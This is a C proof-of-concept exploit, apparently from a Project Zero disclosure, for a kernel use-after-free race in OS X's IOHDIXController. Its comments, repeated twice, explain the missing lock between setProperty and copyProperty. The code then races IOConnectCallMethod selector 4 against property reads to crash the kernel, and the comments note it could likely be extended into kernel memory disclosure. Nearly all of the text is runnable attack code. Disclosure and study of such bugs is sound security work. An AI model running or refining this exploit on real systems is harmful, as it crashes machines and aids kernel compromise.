/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=732
This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace.
Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and
taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without
taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them
with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty.
This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object
leading to a nice kernel memory disclosure.
Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/
//ianbeer
//build: clang -o hdix_race_get_set hdix_race_get_set.c -framework IOKit -framework Foundation -lpthread
/*
OS X/iOS kernel UAF racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient
This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace.
Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and
taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without
taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them
with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty.
This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object
leading to a nice kernel memory disclosure.
Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
#include <libkern/OSAtomic.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
#include <CoreFoundation/CoreFoundation.h>
unsigned int selector = 0;
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
char outputStruct[4096] = {0};
size_t outputStructCnt = 0;
io_connect_t global_conn = MACH_PORT_NULL;
void set_params(io_connect_t conn){
char* payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
global_conn = conn;
selector = 4;
inputScalarCnt = 0;
inputStructCnt = strlen(payload)+1;
strcpy((char*)inputStruct, payload);
outputScalarCnt = 0;
outputStructCnt = 0;
}
void make_iokit_call(){
IOConnectCallMethod(
global_conn,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
OSSpinLock lock = OS_SPINLOCK_INIT;
void* thread_func(void* arg){
for(;;) {
int got_it = 0;
while (!got_it) {
got_it = OSSpinLockTry(&lock);
}
make_iokit_call();
}
return NULL;
}
int main(int argc, char** argv){
kern_return_t err;
OSSpinLockLock(&lock);
pthread_t t;
pthread_create(&t, NULL, thread_func, NULL);
mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOHDIXController"));
mach_port_t conn = MACH_PORT_NULL;
IOServiceOpen(service, mach_task_self(), 0, &conn);
set_params(conn);
for(;;) {
OSSpinLockUnlock(&lock);
CFTypeRef p = IORegistryEntryCreateCFProperty(service,
CFSTR("di-root-image-result"),
kCFAllocatorDefault,
0);
}
return 0;
}
